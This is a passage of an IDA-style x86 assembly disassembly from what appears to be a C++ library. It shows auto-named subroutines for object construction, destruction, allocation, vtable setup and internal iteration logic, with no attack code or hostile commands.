xor eax, eax
mov esi, ecx
mov al, [esi+1Ch]
push edi
xor edi, edi
push edi
lea ecx, [esi+4Ch]
and eax, 0FFFFFF01h
cmp dword ptr [esi+44h], 0Fh
push eax
setz al
push eax
mov eax, [esi+64h]
and eax, 0FFFFFFFEh
push eax
call sub_69B67EB9
push edi
lea ecx, [esi+6Ch]
call sub_69B677FE
push edi
lea ecx, [esi+70h]
call sub_69B677FE
push edi
lea eax, [esi+74h]
push eax
call sub_69B17320
push edi
lea eax, [esi+78h]
push eax
call sub_69B17320
and dword ptr [esi+7Ch], 0FFFFFFFEh
mov [esi+84h], edi
pop edi
pop esi
retn
sub_69B680C5 endp
; =============== S U B R O U T I N E =======================================
sub_69B68121 proc near ; DATA XREF: .text:69B13184o
push esi
mov esi, ecx
lea ecx, [esi-10h]
call sub_69B680C5
mov ecx, esi
pop esi
jmp sub_69B6CCB6
sub_69B68121 endp
; =============== S U B R O U T I N E =======================================
sub_69B68134 proc near ; DATA XREF: .text:69B13288o
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
lea ecx, [esi+64h]
call sub_69B677FE
mov ecx, esi
call sub_69B680C5
pop esi
retn 4
sub_69B68134 endp
; =============== S U B R O U T I N E =======================================
sub_69B6814E proc near ; DATA XREF: .text:69B131C0o
arg_0 = dword ptr 4
cmp byte ptr [esp+arg_0], 0
push esi
mov esi, ecx
jz short loc_69B68160
lea ecx, [esi-10h]
call sub_69B680C5
loc_69B68160: ; CODE XREF: sub_69B6814E+8j
push [esp+4+arg_0]
mov ecx, esi
call sub_69B6CD55
pop esi
retn 4
sub_69B6814E endp
; =============== S U B R O U T I N E =======================================
sub_69B6816F proc near ; DATA XREF: .text:69B13280o
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push edi
mov edi, ecx
cmp dword ptr [edi+14h], 0
jnz short loc_69B681A2
test esi, esi
jz short loc_69B68192
cmp dword ptr [esi+8], 0
jg short loc_69B6818C
call sub_69B2E6D8
loc_69B6818C: ; CODE XREF: sub_69B6816F+16j
cmp dword ptr [esi+0Ch], 0
jnz short loc_69B681A2
loc_69B68192: ; CODE XREF: sub_69B6816F+10j
mov eax, [edi+64h]
push 0
and eax, 0FFFFFFFEh
push eax
call sub_69B6D8E2
mov esi, eax
loc_69B681A2: ; CODE XREF: sub_69B6816F+Cj
; sub_69B6816F+21j
push dword ptr [edi+5Ch]
push esi
call sub_69B6D1E0
pop edi
pop esi
retn 4
sub_69B6816F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B681B0 proc near ; CODE XREF: sub_69B685ED+Aj
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, ecx
push edi
lea ebx, [esi+6Ch]
xor edi, edi
test dword ptr [ebx], 0FFFFFFFEh
jnz short loc_69B681F3
mov eax, [esi]
call dword ptr [eax+40h]
push eax
mov ecx, ebx
call sub_69B677FE
test dword ptr [ebx], 0FFFFFFFEh
jz loc_69B68394
mov ecx, [esi+14h]
mov eax, [ecx]
push edi
call dword ptr [eax+60h]
push eax
lea eax, [esi+74h]
push eax
call sub_69B17320
loc_69B681F3: ; CODE XREF: sub_69B681B0+15j
mov al, [esi+1Ch]
and al, 1
mov byte ptr [ebp+var_4], al
mov eax, [ebx]
jmp loc_69B68389
; ---------------------------------------------------------------------------
loc_69B68202: ; CODE XREF: sub_69B681B0+1DEj
lea ebx, [esi+4Ch]
test dword ptr [ebx], 0FFFFFFFEh
jnz short loc_69B68233
mov ecx, [esi+74h]
push ecx
and eax, 0FFFFFFFEh
push edi
mov [ebp+var_8], eax
call sub_69B6D2B6
cmp dword ptr [esi+44h], 0Fh
push eax
push [ebp+var_4]
setz al
mov ecx, ebx
push eax
push [ebp+var_8]
call sub_69B67EB9
loc_69B68233: ; CODE XREF: sub_69B681B0+5Bj
lea ebx, [esi+70h]
test dword ptr [ebx], 0FFFFFFFEh
jnz short loc_69B6826F
mov ecx, esi
call sub_69B65903
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+40h]
push eax
mov ecx, ebx
call sub_69B677FE
test dword ptr [ebx], 0FFFFFFFEh
jz short loc_69B6826F
mov ecx, [esi+14h]
mov eax, [ecx]
push edi
call dword ptr [eax+60h]
push eax
lea eax, [esi+78h]
push eax
call sub_69B17320
loc_69B6826F: ; CODE XREF: sub_69B681B0+8Cj
; sub_69B681B0+AAj
lea eax, [esi+4Ch]
push eax
call sub_69B6CF71
mov ebx, eax
cmp ebx, edi
jnz loc_69B6830D
cmp [esi+84h], edi
jnz short loc_69B682C5
lea eax, [esi+70h]
push eax
lea ecx, [esi+6Ch]
call sub_69B67A49
lea eax, [esi+78h]
push eax
lea ecx, [esi+74h]
call sub_69B4D414
push edi
push [ebp+var_4]
lea ecx, [esi+4Ch]
push edi
push edi
call sub_69B67EB9
push edi
lea ecx, [esi+70h]
call sub_69B677FE
push edi
lea eax, [esi+78h]
push eax
call sub_69B17320
jmp short loc_69B6830D
; ---------------------------------------------------------------------------
loc_69B682C5: ; CODE XREF: sub_69B681B0+D8j
lea ecx, [esi+80h]
call sub_69B6DA4B
lea ebx, [esi+4Ch]
push eax
mov ecx, ebx
call sub_69B67FBD
mov eax, [ebx]
and eax, 0FFFFFFFEh
push eax
lea ecx, [esi+6Ch]
call sub_69B677FE
push dword ptr [esi+60h]
push edi
call sub_69B6D2B6
push eax
lea eax, [esi+74h]
push eax
call sub_69B17320
lea ecx, [esi+80h]
call sub_69B6D972
mov ebx, [esi+50h]
and ebx, 0FFFFFFFEh
loc_69B6830D: ; CODE XREF: sub_69B681B0+CCj
; sub_69B681B0+113j
push ebx
mov ecx, esi
call sub_69B678D7
test al, al
jz short loc_69B68386
test dword ptr [esi+70h], 0FFFFFFFEh
jz short loc_69B68398
push dword ptr [esi+74h]
push edi
call sub_69B6D2B6
push dword ptr [esi+5Ch]
push eax
call sub_69B6D1E0
push dword ptr [esi+78h]
push eax
call sub_69B6D24C
test eax, eax
jle short loc_69B68398
lea eax, [esi+4Ch]
push eax
lea ecx, [esi+80h]
call sub_69B6DAF7
lea eax, [esi+70h]
push eax
lea ecx, [esi+6Ch]
call sub_69B67A49
lea ebx, [esi+78h]
push ebx
lea ecx, [esi+74h]
call sub_69B4D414
push edi
push [ebp+var_4]
lea ecx, [esi+4Ch]
push edi
push edi
call sub_69B67EB9
push edi
lea ecx, [esi+70h]
call sub_69B677FE
push edi
push ebx
call sub_69B17320
loc_69B68386: ; CODE XREF: sub_69B681B0+167j
mov eax, [esi+6Ch]
loc_69B68389: ; CODE XREF: sub_69B681B0+4Dj
test eax, 0FFFFFFFEh
jnz loc_69B68202
loc_69B68394: ; CODE XREF: sub_69B681B0+2Aj
xor eax, eax
jmp short loc_69B6839A
; ---------------------------------------------------------------------------
loc_69B68398: ; CODE XREF: sub_69B681B0+170j
; sub_69B681B0+18Fj
mov eax, ebx
loc_69B6839A: ; CODE XREF: sub_69B681B0+1E6j
pop edi
pop esi
pop ebx
leave
retn
sub_69B681B0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B6839F proc near ; CODE XREF: sub_69B685ED+4j
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, ecx
mov al, [esi+1Ch]
and al, 1
push edi
mov byte ptr [ebp+var_4], al
lea edi, [esi+4Ch]
loc_69B683B4: ; CODE XREF: sub_69B6839F+72j
; sub_69B6839F+7Ej
xor ebx, ebx
test dword ptr [edi], 0FFFFFFFEh
jnz short loc_69B683E5
cmp dword ptr [esi+44h], 0Fh
push ebx
push [ebp+var_4]
setz al
mov ecx, esi
push eax
mov eax, [esi]
call dword ptr [eax+40h]
push eax
mov ecx, edi
call sub_69B67EB9
test dword ptr [edi], 0FFFFFFFEh
jz loc_69B68486
loc_69B683E5: ; CODE XREF: sub_69B6839F+1Dj
push edi
call sub_69B6CF71
cmp eax, ebx
mov [ebp+var_8], eax
jnz short loc_69B68413
test byte ptr [esi+30h], 20h
jz short loc_69B683FD
cmp [esi+3Ch], ebx
jnz short loc_69B68424
loc_69B683FD: ; CODE XREF: sub_69B6839F+57j
mov ecx, esi
call sub_69B65903
push ebx
push [ebp+var_4]
mov ecx, edi
push ebx
push ebx
call sub_69B67EB9
jmp short loc_69B683B4
; ---------------------------------------------------------------------------
loc_69B68413: ; CODE XREF: sub_69B6839F+51j
push eax
mov ecx, esi
call sub_69B678D7
test al, al
jz short loc_69B683B4
mov eax, [ebp+var_8]
jmp short loc_69B68488
; ---------------------------------------------------------------------------
loc_69B68424: ; CODE XREF: sub_69B6839F+5Cj
mov edi, [edi]
and edi, 0FFFFFFFEh
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+0B4h]
lea ebx, [esi+68h]
cmp dword ptr [ebx], 0
mov [ebp+var_8], eax
jnz short loc_69B68471
test byte ptr [esi+48h], 2
mov eax, [eax+70h]
mov [ebp+var_4], eax
jz short loc_69B68451
mov eax, [esi+40h]
xor edx, edx
jmp short loc_69B68456
; ---------------------------------------------------------------------------
loc_69B68451: ; CODE XREF: sub_69B6839F+A9j
mov edx, [esi+40h]
xor eax, eax
loc_69B68456: ; CODE XREF: sub_69B6839F+B0j
mov ecx, [esi+3Ch]
push edx
push eax
push eax
mov eax, [ecx]
call dword ptr [eax+2Ch]
mov ecx, [ebp+var_4]
push eax
call sub_69B4D7A3
push eax
push ebx
call sub_69B17320
loc_69B68471: ; CODE XREF: sub_69B6839F+9Dj
mov ebx, [ebx]
mov ecx, [ebp+var_8]
push 1
push 0
push edi
push ebx
push dword ptr [esi+44h]
call sub_69B3D2F2
jmp short loc_69B68488
; ---------------------------------------------------------------------------
loc_69B68486: ; CODE XREF: sub_69B6839F+40j
xor eax, eax
loc_69B68488: ; CODE XREF: sub_69B6839F+83j
; sub_69B6839F+E5j
pop edi
pop esi
pop ebx
leave
retn
sub_69B6839F endp
; =============== S U B R O U T I N E =======================================
sub_69B6848D proc near ; DATA XREF: .text:69B131BCo
arg_0 = dword ptr 4
push esi
push edi
push [esp+8+arg_0]
mov edi, ecx
call sub_69B67BD2
mov edx, [eax]
mov ecx, eax
call dword ptr [edx+10h]
mov esi, eax
mov al, [edi+0Ch]
and al, 1
movzx eax, al
mov [esi+64h], eax
mov [esi+6Ch], eax
mov [esi+70h], eax
mov ecx, [edi+54h]
mov eax, [esi]
and ecx, 0FFFFFFFEh
push ecx
mov ecx, esi
call dword ptr [eax+50h]
pop edi
lea eax, [esi+10h]
pop esi
retn 4
sub_69B6848D endp
; =============== S U B R O U T I N E =======================================
sub_69B684CA proc near ; CODE XREF: sub_69B6859A+12p
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
call sub_69B67C1F
xor eax, eax
mov dword ptr [esi], offset off_69B13238
mov dword ptr [esi+8], offset off_69B131D8
mov dword ptr [esi+10h], offset off_69B13140
mov [esi+4Ch], eax
mov [esi+50h], eax
mov [esi+60h], eax
mov [esi+64h], eax
mov [esi+68h], eax
mov [esi+6Ch], eax
mov [esi+70h], eax
mov [esi+74h], eax
mov [esi+78h], eax
mov [esi+80h], eax
mov eax, esi
pop esi
retn 4
sub_69B684CA endp
; =============== S U B R O U T I N E =======================================
sub_69B68513 proc near ; CODE XREF: sub_69B68085+3j
; .text:69B680A0j
; DATA XREF: ...
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_69B6852E
test [esp+4+arg_0], 1
jz short loc_69B68528
push esi
call sub_69B1829F
loc_69B68528: ; CODE XREF: sub_69B68513+Dj
mov eax, esi
pop esi
retn 4
sub_69B68513 endp
; =============== S U B R O U T I N E =======================================
sub_69B6852E proc near ; CODE XREF: sub_69B68513+3p
push esi
mov esi, ecx
lea ecx, [esi+80h]
call sub_69B67F03
lea eax, [esi+78h]
push eax
call sub_69B17230
lea eax, [esi+74h]
push eax
call sub_69B17230
lea eax, [esi+70h]
test byte ptr [eax], 1
jz short loc_69B6855F
and dword ptr [eax], 0FFFFFFFEh
push eax
call sub_69B17230
loc_69B6855F: ; CODE XREF: sub_69B6852E+26j
lea eax, [esi+6Ch]
test byte ptr [eax], 1
jz short loc_69B68570
and dword ptr [eax], 0FFFFFFFEh
push eax
call sub_69B17230
loc_69B68570: ; CODE XREF: sub_69B6852E+37j
lea eax, [esi+68h]
push eax
call sub_69B17230
lea eax, [esi+64h]
test byte ptr [eax], 1
jz short loc_69B6858A
and dword ptr [eax], 0FFFFFFFEh
push eax
call sub_69B17230
loc_69B6858A: ; CODE XREF: sub_69B6852E+51j
lea ecx, [esi+4Ch]
call sub_69B67F74
mov ecx, esi
pop esi
jmp sub_69B67C93
sub_69B6852E endp
; =============== S U B R O U T I N E =======================================
sub_69B6859A proc near ; DATA XREF: .text:69B67D5Co
push 88h
call sub_69B17EF3
test eax, eax
jz short loc_69B685B2
push 0
mov ecx, eax
call sub_69B684CA
retn
; ---------------------------------------------------------------------------
loc_69B685B2: ; CODE XREF: sub_69B6859A+Cj
xor eax, eax
retn
sub_69B6859A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B685B5 proc near ; CODE XREF: sub_69B5FB27+159p
; sub_69B5FCE2+49p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
push 88h
call sub_69B17EF3
test eax, eax
jz short loc_69B685E7
push [ebp+arg_18]
mov ecx, eax
push [ebp+arg_10]
push [ebp+arg_1C]
push [ebp+arg_14]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_69B68013
jmp short loc_69B685E9
; ---------------------------------------------------------------------------
loc_69B685E7: ; CODE XREF: sub_69B685B5+Fj
xor eax, eax
loc_69B685E9: ; CODE XREF: sub_69B685B5+30j
pop ebp
retn 20h
sub_69B685B5 endp
; =============== S U B R O U T I N E =======================================
sub_69B685ED proc near ; DATA XREF: .text:69B1327Co
test byte ptr [ecx+7Ch], 1
jz sub_69B6839F
jmp sub_69B681B0
sub_69B685ED endp
; =============== S U B R O U T I N E =======================================
sub_69B685FC proc near ; CODE XREF: sub_69B6863E+3j
; .text:69B6864Ej
; DATA XREF: ...
mov eax, offset off_69B68604
retn
sub_69B685FC endp
; ---------------------------------------------------------------------------
align 4
off_69B68604 dd offset off_69B29C7C ; DATA XREF: sub_69B685FCo
dd offset sub_69B68699
; =============== S U B R O U T I N E =======================================
sub_69B6860C proc near ; DATA XREF: .text:69B12BFCo
; .text:69B12C04o ...
xor eax, eax
retn
sub_69B6860C endp
; =============== S U B R O U T I N E =======================================
sub_69B6860F proc near ; DATA XREF: .text:69B132E8o
mov al, 1
retn 8
sub_69B6860F endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B686B1
loc_69B68614: ; CODE XREF: sub_69B686B1+Dj
push esi
push [esp+4+arg_0]
mov esi, ecx
push 0
push 0
call sub_69B6D314
mov dword ptr [esi], offset off_69B13388
mov dword ptr [esi+8], offset off_69B13328
mov dword ptr [esi+10h], offset off_69B13290
mov eax, esi
pop esi
retn 4
; END OF FUNCTION CHUNK FOR sub_69B686B1
; =============== S U B R O U T I N E =======================================
sub_69B6863E proc near ; DATA XREF: .text:69B13344o
sub ecx, 8
jmp short sub_69B685FC
sub_69B6863E endp
; =============== S U B R O U T I N E =======================================
sub_69B68643 proc near ; DATA XREF: .text:69B1335Co
; .text:69B13CACo ...
sub ecx, 8
jmp sub_69B6CBC6
sub_69B68643 endp
; ---------------------------------------------------------------------------
loc_69B6864B: ; DATA XREF: .text:69B132ACo
sub ecx, 10h
jmp short sub_69B685FC
; =============== S U B R O U T I N E =======================================
sub_69B68650 proc near ; DATA XREF: .text:69B132C4o
; .text:69B13C14o ...
sub ecx, 10h
jmp sub_69B6CBC6
sub_69B68650 endp
; =============== S U B R O U T I N E =======================================
sub_69B68658 proc near ; CODE XREF: sub_69B68699+Fp
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
call sub_69B6D3CA
mov dword ptr [esi], offset off_69B13388
mov dword ptr [esi+8], offset off_69B13328
mov dword ptr [esi+10h], offset off_69B13290
mov eax, esi
pop esi
retn 4
sub_69B68658 endp
; =============== S U B R O U T I N E =======================================
sub_69B6867E proc near ; CODE XREF: sub_69B6D36A+3j
; .text:69B6D37Dj
; DATA XREF: ...
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_69B65BC0
test [esp+4+arg_0], 1
jz short loc_69B68693
push esi
call sub_69B1829F
loc_69B68693: ; CODE XREF: sub_69B6867E+Dj
mov eax, esi
pop esi
retn 4
sub_69B6867E endp
; =============== S U B R O U T I N E =======================================
sub_69B68699 proc near ; DATA XREF: .text:69B68608o
push 38h
call sub_69B17EF3
test eax, eax
jz short loc_69B686AE
push 0
mov ecx, eax
call sub_69B68658
retn
; ---------------------------------------------------------------------------
loc_69B686AE: ; CODE XREF: sub_69B68699+9j
xor eax, eax
retn
sub_69B68699 endp
; =============== S U B R O U T I N E =======================================
sub_69B686B1 proc near ; CODE XREF: sub_69B5FB27+9Cp
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 69B68614 SIZE 0000002A BYTES
push 38h
call sub_69B17EF3
test eax, eax
jz short loc_69B686C3
mov ecx, eax
jmp loc_69B68614
; ---------------------------------------------------------------------------
loc_69B686C3: ; CODE XREF: sub_69B686B1+9j
xor eax, eax
retn 4
sub_69B686B1 endp
; =============== S U B R O U T I N E =======================================
sub_69B686C8 proc near ; CODE XREF: sub_69B689BE+3j
; .text:69B689E1j
; DATA XREF: ...
mov eax, offset off_69B686D0
retn
sub_69B686C8 endp
; ---------------------------------------------------------------------------
align 10h
off_69B686D0 dd offset off_69B29C7C ; DATA XREF: sub_69B686C8o
dd offset sub_69B68C66
; =============== S U B R O U T I N E =======================================
sub_69B686D8 proc near ; DATA XREF: .text:69B134BCo
mov eax, 309h
retn
sub_69B686D8 endp
; =============== S U B R O U T I N E =======================================
sub_69B686DE proc near ; DATA XREF: .text:69B13518o
arg_0 = dword ptr 4
test byte ptr [ecx+50h], 4
jnz sub_69B6C9EA
mov eax, [esp+arg_0]
retn 4
sub_69B686DE endp
; =============== S U B R O U T I N E =======================================
sub_69B686EF proc near ; DATA XREF: .text:69B1342Co
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_4]
mov esi, ecx
push [esp+8+arg_0]
call sub_69B6CD8D
mov ecx, eax
cmp ecx, 0FFFFFFFFh
jz short loc_69B68715
cmp [esp+4+arg_4], 0
jz short loc_69B68715
mov eax, [esi+2Ch]
sub eax, ecx
dec eax
jmp short loc_69B68717
; ---------------------------------------------------------------------------
loc_69B68715: ; CODE XREF: sub_69B686EF+15j
; sub_69B686EF+1Cj
mov eax, ecx
loc_69B68717: ; CODE XREF: sub_69B686EF+24j
pop esi
retn 8
sub_69B686EF endp
; =============== S U B R O U T I N E =======================================
sub_69B6871B proc near ; CODE XREF: sub_69B687E1+3Ap
; sub_69B68A03+117p ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
test esi, esi
push edi
mov edi, ecx
jl short loc_69B6872C
cmp esi, [edi+8]
jl short loc_69B68731
loc_69B6872C: ; CODE XREF: sub_69B6871B+Aj
call sub_69B2E6D8
loc_69B68731: ; CODE XREF: sub_69B6871B+Fj
lea eax, [esi+esi*2]
lea eax, [edi+eax*8+0Ch]
pop edi
pop esi
retn 4
sub_69B6871B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B6873D proc near ; DATA XREF: .text:69B13424o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_8]
test edi, edi
mov esi, ecx
jz short loc_69B68795
cmp edi, [ebp+arg_4]
jz short loc_69B68795
test byte ptr [esi+40h], 1
jz short loc_69B68771
mov ecx, [esi+3Ch]
test ecx, ecx
jz short loc_69B6876D
mov eax, [ecx]
push edi
push [ebp+arg_4]
push [ebp+arg_0]
call dword ptr [eax+4Ch]
test eax, eax
jz short loc_69B68771
loc_69B6876D: ; CODE XREF: sub_69B6873D+1Ej
mov eax, edi
jmp short loc_69B68797
; ---------------------------------------------------------------------------
loc_69B68771: ; CODE XREF: sub_69B6873D+17j
; sub_69B6873D+2Ej
mov eax, [edi]
lea ecx, [ebp+arg_8]
push ecx
mov ecx, edi
call dword ptr [eax+68h]
test eax, eax
jz short loc_69B68795
mov ecx, [esi+3Ch]
test ecx, ecx
jz short loc_69B68797
mov eax, [ecx]
push edi
push [ebp+arg_4]
push [ebp+arg_0]
call dword ptr [eax+4Ch]
jmp short loc_69B68797
; ---------------------------------------------------------------------------
loc_69B68795: ; CODE XREF: sub_69B6873D+Cj
; sub_69B6873D+11j ...
xor eax, eax
loc_69B68797: ; CODE XREF: sub_69B6873D+32j
; sub_69B6873D+48j ...
pop edi
pop esi
pop ebp
retn 0Ch
sub_69B6873D endp
; =============== S U B R O U T I N E =======================================
sub_69B6879D proc near ; DATA XREF: .text:69B13428o
mov eax, [ecx+3Ch]
test eax, eax
jz sub_69B6CA3F
mov edx, [eax]
mov ecx, eax
jmp dword ptr [edx+50h]
sub_69B6879D endp
; =============== S U B R O U T I N E =======================================
sub_69B687AF proc near ; DATA XREF: .text:69B13508o
mov eax, [ecx+50h]
test al, 2
jz short loc_69B687BC
mov eax, dword_69B9B400
retn
; ---------------------------------------------------------------------------
loc_69B687BC: ; CODE XREF: sub_69B687AF+5j
test al, 1
mov eax, dword_69B9B408
jnz short locret_69B687CA
mov eax, dword_69B9B410
locret_69B687CA: ; CODE XREF: sub_69B687AF+14j
retn
sub_69B687AF endp
; =============== S U B R O U T I N E =======================================
sub_69B687CB proc near ; DATA XREF: .text:69B1351Co
; .text:69B13664o
mov ecx, [ecx+4Ch]
test ecx, ecx
jz short locret_69B687DE
mov eax, [ecx]
call dword ptr [eax+5Ch]
mov edx, [eax]
mov ecx, eax
jmp dword ptr [edx+5Ch]
; ---------------------------------------------------------------------------
locret_69B687DE: ; CODE XREF: sub_69B687CB+5j
retn 8
sub_69B687CB endp
; =============== S U B R O U T I N E =======================================
sub_69B687E1 proc near ; DATA XREF: .text:69B13438o
arg_0 = dword ptr 4
push esi
mov esi, ecx
test byte ptr [esi+40h], 4
jz short loc_69B687F5
push [esp+4+arg_0]
call sub_69B6D410
jmp short loc_69B6883E
; ---------------------------------------------------------------------------
loc_69B687F5: ; CODE XREF: sub_69B687E1+7j
mov eax, [esi+44h]
mov ecx, [esi+38h]
push edi
dec eax
push eax
call sub_69B1A954
test byte ptr [esi+40h], 2
mov edi, [eax]
jz short loc_69B68813
push edi
call sub_69B6D2F7
jmp short loc_69B6883D
; ---------------------------------------------------------------------------
loc_69B68813: ; CODE XREF: sub_69B687E1+28j
mov eax, [esi+44h]
mov ecx, [esi+28h]
dec eax
push eax
call sub_69B6871B
test byte ptr [esi+40h], 1
mov eax, [eax+10h]
jz short loc_69B6882A
dec eax
loc_69B6882A: ; CODE XREF: sub_69B687E1+46j
test eax, eax
jle short loc_69B6883B
mov esi, eax
loc_69B68830: ; CODE XREF: sub_69B687E1+58j
push edi
call sub_69B6D2F7
dec esi
mov edi, eax
jnz short loc_69B68830
loc_69B6883B: ; CODE XREF: sub_69B687E1+4Bj
mov eax, edi
loc_69B6883D: ; CODE XREF: sub_69B687E1+30j
pop edi
loc_69B6883E: ; CODE XREF: sub_69B687E1+12j
pop esi
retn 4
sub_69B687E1 endp
; =============== S U B R O U T I N E =======================================
sub_69B68842 proc near ; CODE XREF: sub_69B68896+6p
; sub_69B688A9+6p ...
push esi
push edi
mov esi, ecx
xor edi, edi
push edi
lea eax, [esi+48h]
push eax
call sub_69B17320
push edi
lea ecx, [esi+58h]
mov [esi+3Ch], edi
mov [esi+44h], edi
call sub_69B677FE
and dword ptr [esi+50h], 0FFFFFFF7h
mov [esi+54h], edi
pop edi
pop esi
retn
sub_69B68842 endp
; =============== S U B R O U T I N E =======================================
sub_69B6886B proc near ; CODE XREF: sub_69B689F3+3j
; sub_69B689FB+3j
; DATA XREF: ...
push esi
mov esi, ecx
push 0
lea eax, [esi+4Ch]
push eax
call sub_69B17320
push 0
lea eax, [esi+48h]
push eax
call sub_69B17320
push 0
lea ecx, [esi+58h]
call sub_69B677FE
mov ecx, esi
pop esi
jmp sub_69B6CBC6
sub_69B6886B endp
; =============== S U B R O U T I N E =======================================
sub_69B68896 proc near ; DATA XREF: .text:69B1341Co
push esi
mov esi, ecx
lea ecx, [esi-10h]
call sub_69B68842
mov ecx, esi
pop esi
jmp sub_69B6CCB6
sub_69B68896 endp
; =============== S U B R O U T I N E =======================================
sub_69B688A9 proc near ; DATA XREF: .text:69B13420o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
mov esi, ecx
lea ecx, [esi-10h]
call sub_69B68842
push [esp+4+arg_8]
mov ecx, esi
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_69B6CD21
pop esi
retn 0Ch
sub_69B688A9 endp
; =============== S U B R O U T I N E =======================================
sub_69B688CB proc near ; DATA XREF: .text:69B13458o
arg_0 = dword ptr 4
cmp byte ptr [esp+arg_0], 0
push esi
mov esi, ecx
jz short loc_69B688DD
lea ecx, [esi-10h]
call sub_69B68842
loc_69B688DD: ; CODE XREF: sub_69B688CB+8j
push [esp+4+arg_0]
mov ecx, esi
call sub_69B6CD55
pop esi
retn 4
sub_69B688CB endp
; =============== S U B R O U T I N E =======================================
sub_69B688EC proc near ; DATA XREF: .text:69B13454o
arg_0 = dword ptr 4
push esi
push edi
push [esp+8+arg_0]
mov edi, ecx
call sub_69B6CFE2
mov edx, [eax]
mov ecx, eax
call dword ptr [edx+10h]
mov esi, eax
lea eax, [edi+3Ch]
push eax
lea ecx, [esi+4Ch]
call sub_69B4D414
mov eax, [esi+50h]
xor eax, [edi+40h]
and eax, 1
xor [esi+50h], eax
mov ecx, [esi+50h]
mov eax, [edi+40h]
xor eax, ecx
and eax, 4
xor eax, ecx
mov [esi+50h], eax
mov ecx, [edi+40h]
xor ecx, eax
and ecx, 2
xor ecx, eax
pop edi
mov [esi+50h], ecx
lea eax, [esi+10h]
pop esi
retn 4
sub_69B688EC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B6893F proc near ; CODE XREF: sub_69B68C7E+11j
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = byte ptr 14h
arg_10 = byte ptr 18h
arg_14 = byte ptr 1Ch
push ebp
mov ebp, esp
push esi
push [ebp+arg_8]
mov esi, ecx
push 0
push [ebp+arg_0]
call sub_69B6D314
push [ebp+arg_4]
mov dword ptr [esi], offset off_69B134D0
mov dword ptr [esi+8], offset off_69B13470
mov dword ptr [esi+10h], offset off_69B133D8
and dword ptr [esi+38h], 0
and dword ptr [esi+40h], 0
and dword ptr [esi+48h], 0
lea ecx, [esi+4Ch]
call sub_69B1E084
xor eax, eax
mov al, [ebp+arg_14]
xor ecx, ecx
mov cl, [ebp+arg_10]
and eax, 1
shl eax, 1
and ecx, 1
or eax, ecx
xor ecx, ecx
mov cl, [ebp+arg_C]
shl eax, 1
and ecx, 1
or eax, ecx
mov ecx, [esi+50h]
and ecx, 0FFFFFFF8h
or eax, ecx
mov [esi+50h], eax
movzx eax, byte ptr [ebp+arg_8]
mov [esi+58h], eax
mov eax, esi
pop esi
pop ebp
retn 18h
sub_69B6893F endp
; =============== S U B R O U T I N E =======================================
sub_69B689B6 proc near ; DATA XREF: .text:69B1347Co
arg_0 = byte ptr 4
sub ecx, 8
jmp sub_69B68C0D
sub_69B689B6 endp
; =============== S U B R O U T I N E =======================================
sub_69B689BE proc near ; DATA XREF: .text:69B1348Co
sub ecx, 8
jmp sub_69B686C8
sub_69B689BE endp
; ---------------------------------------------------------------------------
loc_69B689C6: ; DATA XREF: .text:69B133E4o
sub ecx, 10h
jmp sub_69B68C0D
; ---------------------------------------------------------------------------
loc_69B689CE: ; DATA XREF: .text:69B12C30o
; .text:69B12D78o ...
sub ecx, 10h
jmp sub_69B1B57D
; ---------------------------------------------------------------------------
loc_69B689D6: ; DATA XREF: .text:69B12C34o
; .text:69B12D7Co ...
sub ecx, 10h
jmp nullsub_5
; ---------------------------------------------------------------------------
loc_69B689DE: ; DATA XREF: .text:69B133F4o
sub ecx, 10h
jmp sub_69B686C8
; =============== S U B R O U T I N E =======================================
sub_69B689E6 proc near ; DATA XREF: .text:69B1346Co
test byte ptr [ecx+40h], 4
jnz loc_69B65D1B
mov al, 1
retn
sub_69B689E6 endp
; =============== S U B R O U T I N E =======================================
sub_69B689F3 proc near ; DATA XREF: .text:69B134A4o
sub ecx, 8
jmp sub_69B6886B
sub_69B689F3 endp
; =============== S U B R O U T I N E =======================================
sub_69B689FB proc near ; DATA XREF: .text:69B1340Co
sub ecx, 10h
jmp sub_69B6886B
sub_69B689FB endp
; =============== S U B R O U T I N E =======================================
sub_69B68A03 proc near ; CODE XREF: sub_69B68C9A+9p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
sub esp, 0Ch
push ebx
push ebp
push esi
mov esi, ecx
push edi
lea edi, [esi+58h]
test dword ptr [edi], 0FFFFFFFEh
jnz short loc_69B68A24
mov eax, [esi]
call dword ptr [eax+40h]
push eax
mov ecx, edi
call sub_69B677FE
